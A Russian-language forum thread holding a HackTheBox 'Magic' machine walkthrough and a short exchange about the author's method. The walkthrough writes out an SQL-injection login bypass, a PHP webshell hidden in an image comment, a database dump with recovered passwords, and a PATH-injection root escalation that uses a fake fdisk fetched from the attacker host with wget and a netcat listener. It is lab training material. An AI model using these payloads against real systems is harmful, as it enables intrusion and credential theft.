HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Этичный хакинг или пентестинг > Задания/Квесты/CTF/Конкурсы
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 29.01.2022, 00:37
QuietMoth1
Новичок
Регистрация: 18.10.2020
Сообщений: 0
С нами: 2931764

Репутация: 0
По умолчанию



Привет Форумчане!
Продолжаем рассматривать CTF с площадки HackTheBox, одна из таких интересных коробок по Linux будет разобрана в этой статье, не буду томить... Начнём!

Данные:
Задача: Скомпрометировать машину на Linux и взять два флага user.txt и root.txt
Основная рабочая машина: Kali Linux 2021.3
IP адрес удаленной машины -10.10.10.185
IP адрес основной машины -10.10.14.34

Начальная разведка и сканирование портов:
Как всегда начинаем с сканирования портов удаленной рабочей машины, nmap поможет нам в этом:

Код:
nmap -sC -sV 10.10.10.185
Пока что мы сканируем только самые популярные порты. Посмотрим какой результат нам выдал nmap:



Видим два открытых порта 22/ssh и 80/http на сервере Apache 2.4.29. Зайдем на страницу этого сервера:



Видим какую-то галерею с космосом на заднем фоне, давайте откроем исходный код страницы:



Немного пролистав горизонтально код, мы натыкаемся на полный путь папки /images/uploads/ - видимо где-то здесь есть место для загрузки файлов.
Давайте воспользуемся Dirsearch в связке с Gobuster. Что это за инструменты и для чего они нужны нам, как веб-пентестерам:

Dirsearch - это простая утилита терминала, предназначенная для брут-форса директорий и файлов по сайту. Он также способен искать известные файлы по заданным расширениям
Gobuster - один из самых мощных и быстрых инструментов. Он использует сканер каталогов, написанный на языке Go, он быстрее и гибче, чем интерпретируемый скрипт.

Код:
dirsearch -u http://10.10.10.185/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e php,log,sql,txt,bak,tar,tar.gz.zip,rar,swp,gz,asp,aspx
С помощью параметра -u мы указываем ссылку на веб-сайт, параметр -wвыбирает наш список по которому и будет происходить брут-форс, а параметр -e указывает допустимые или дополнительные расширения файлов.



Код:
gobuster dir -u http://10.10.10.185/ -w /root/SecLists/Discovery/Web-Content/raft-large-directories.txt
В Gobuster всё аналогично, кроме его параметра dir, этот параметр указывает что нужно перебирать директории, у Gobuster'а есть ещё несколько параметров поиска. Например таких как: vhost (Виртуальные хосты), dns (поддомены) и s3 (Перебор Amazon S3 buckets).



К сожалению все переборы директорий закончились не очень удачно, так как они перенаправляют нас на 403 error (Нет прав доступа), но это не всё, всегда есть другая точка входа, в нашем случае это страница входа в аккаунт -> login.php
Заходим на неё и видим следующее:



Веб-Эксплуатация и получение пользователя
Нам предлагают ввести имя пользователя и пароль, открываем BurpSuite и начинаем проламываться через эту форму. Первое что нам нужно сделать это перехватить запрос, далее отправим его в Repeater:



Здесь внимание стоит обратить на alert, он говорит нам что у нас неправильный логин или пароль, давайте попробуем обойти авторизацию с помощью sql-injection или проще называемой "скули"
В параметр username добавим строчку ' or 1=1 -- - это обычный обход авторизации с помощью sql-injection основанной на буллевых значениях...
Отправляем запрос и видим перенаправление 302 Follow Redirect, переходим и получаем:



Welcome Admin! Отлично мы админ, теперь видим перед собой форму загрузки файлов, попробуем загрузить наш PentestMonkey Reverse Shell с расширением .php



На что форма выдаёт ошибку где ссылается на то, что только файлы с расширениями JPG, JPEG И PNG доступны для загрузки.



Теперь очередь обхода - этой формы загрузок, с помощью ExifTool (программы для просмотра метаданных) отредактируем комментарий в изображении скопировав туда обычный php reverse shell cmd:

Код:
exiftool -Comment='"; system($_GET['cmd']); ?>' runme.jpg
Теперь чтобы прогружать скрипт, а не саму картинку - переименуем её вrunme.php.jpg и загрузим.
После успешной загрузки, мы вспоминаем про путь /images/uploads/добавляем сюда наше имя файла и можем успешно добавлять POST запрос к нашему скрипту -



Иии... Ура! У нас есть cmd webshell, давайте сделаем бэк-коннект до себя, добавив в URL



Есть! Мы получили обратную оболочку, теперь мы будем спускаться по директориям вниз и параллельно смотреть содержимое интересных файлов, например такого как - db.php5 лежащего в директории /var/www/Magic:



А вот и данные от базы данных, давайте посмотрим какие у нас есть пользователи, в папке /home/ есть только один пользователь - theseus
Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus, но этот пароль не подошёл к нему, хорошо, тогда сдампим базу данных через mysqldump:

Код:
mysqldump -B Magic -u theseus -p
Через параметр -B передаём имя БД, а через -u имя пользователя и -pпароль:



И получаем имя пользователя admin и пароль Th3s3usW4sK1ng
Уж на этот раз, это точно должен быть пароль от пользователя theseus, подставим его:



Да! Мы нашли пользовательский пароль. Зайдем в домашнюю директорию и выведем пользовательский флаг:



Повышение привилегий
Теперь попробуем найти все SUID файлы:

Код:
find / -perm -u=s -type f 2>/dev/null


Эта команда выдаст нам все файлы, с разрешениями владельца файла которые мы можем выполнить и среди них мы видим интересный файл /bin/sysinfo.
Так как это бинарный файл, давайте посмотрим его строки:

Код:
strings /bin/sysinfo


Среди строк мы находим уязвимость PATH Injection, так как утилита fdisk подгружается программой не через полный путь к нему! Попробуем это использовать, загрузим свой файл fdisk со следующим содержимым:



Он будет содержать в себе самый обычный Bash Reverse Shell, итак откроем у себя порт через интересную утилитуRlwrap.

Rlwrap - это отличная утилита суть которой заключается в упрощении управления пользовательским вводом, проще говоря вы сможете использовать стрелочки для редактирования и вставления прошлых команд из терминала при tty шелле!

Запустим его в связке с Netcat на порту 9998:

Код:
rlwrap nc -nvlp 9998


Загружаем наш файл на удаленную машину через Python модуль http.server с портом 80:

Код:
python3 -m http.server 80


Теперь скачиваем наш файл в папку /tmp/ через wget:

Код:
wget 10.10.14.34/fdisk
Надо дать права на выполнения этому файлу, используем команду chmod:

Код:
chmod +x fdisk
Теперь самая важная деталь этой уязвимости в честь чего она и названа эта инъекция - PATH (путь).

Нам нужно изменить путь запуска на наш, т.е /tmp/ - сделаем это командой
export:

Код:
export PATH=/tmp:$PATH
Запустим наш бинарный файл /bin/sysinfo и посмотрим наши подключения!



Поздравляю, мы получилиroot!

Выводы:
Эта CTF научила нас:
1) Пользоваться уязвимостью для обхода форм авторизаций на основе sql-инъекции
2) Обходить фильтрацию загрузки файлов и загружать туда шелл.
3) Брутить директории и файлы сайтов.
4) Использовать уязвимость PATH Injection.
5) И просто творить магию)

Спасибо, за то что вы прочитали мою статью! Скоро буду
 
Ответить с цитированием

  #2  
Старый 29.01.2022, 23:39
Qulan
Новичок
Регистрация: 06.12.2020
Сообщений: 0
С нами: 2861674

Репутация: 0
По умолчанию

Цитата:

QuietMoth1 сказал(а):

страница входа в аккаунт -> login.php
Как нашел?
Цитата:

QuietMoth1 сказал(а):

давайте попробуем обойти авторизацию с помощью sql-injection
На основании чего сделан этот вывод? Почему не брут? Почему не лдап? Почему не common creds?
Цитата:

QuietMoth1 сказал(а):

Теперь очередь обхода - этой формы загрузок, с помощью ExifTool
почему сразу так? Как узнали на сторон ечего фильтр?
Цитата:

QuietMoth1 сказал(а):

Теперь давайте попробуем войти в его аккаунт с паролем iamkingtheseus
Метод входа через su или ssh? Там же есть ssh, почему не забзал?
Цитата:

QuietMoth1 сказал(а):

так как утилита fdisk подгружается программой не через полный путь
Только ли fdisk?)))

Вообщем так можно продолжать дальше.
 
Ответить с цитированием

  #3  
Старый 30.01.2022, 00:18
QuietMoth1
Новичок
Регистрация: 18.10.2020
Сообщений: 0
С нами: 2931764

Репутация: 0
По умолчанию

Цитата:

Qulan сказал(а):

Как нашел?

На основании чего сделан этот вывод? Почему не брут? Почему не лдап? Почему не common creds?

почему сразу так? Как узнали на сторон ечего фильтр?

Метод входа через su или ssh? Там же есть ssh, почему не забзал?

Только ли fdisk?)))

Вообщем так можно продолжать дальше.

1) Нашёл так, что на главной странице есть эта ссылка на login.php
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection
3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам
4) Su, забыл описать, что там в конфиге ssh вход только по паролю
5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант
 
Ответить с цитированием

  #4  
Старый 30.01.2022, 02:03
Gustavo Fring
Новичок
Регистрация: 15.07.2018
Сообщений: 0
С нами: 4121094

Репутация: 0
По умолчанию

Крутая статья. Интересно будет почитать про разбор машин, встречаемых или примерно похожих на PEN200 (он же OSCP).
 
Ответить с цитированием

  #5  
Старый 30.01.2022, 07:53
Qulan
Новичок
Регистрация: 06.12.2020
Сообщений: 0
С нами: 2861674

Репутация: 0
По умолчанию

Цитата:

QuietMoth1 сказал(а):

1) Нашёл так, что на главной странице есть эта ссылка на login.php
2) Я проходил тачку до этого, да и в обычных случаях сразу проверяю sql-injection
3) Думаю если бы я описывал, как да что я перебровал, вышла бы статья на 2 часа точно, поэтому я привожу сразу готовое решение, это врайтап, а не похождения по тачкам
4) Su, забыл описать, что там в конфиге ssh вход только по паролю
5) Нет не только, ещё две утилиты как видишь, просто выбрал этот вариант

Ок
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.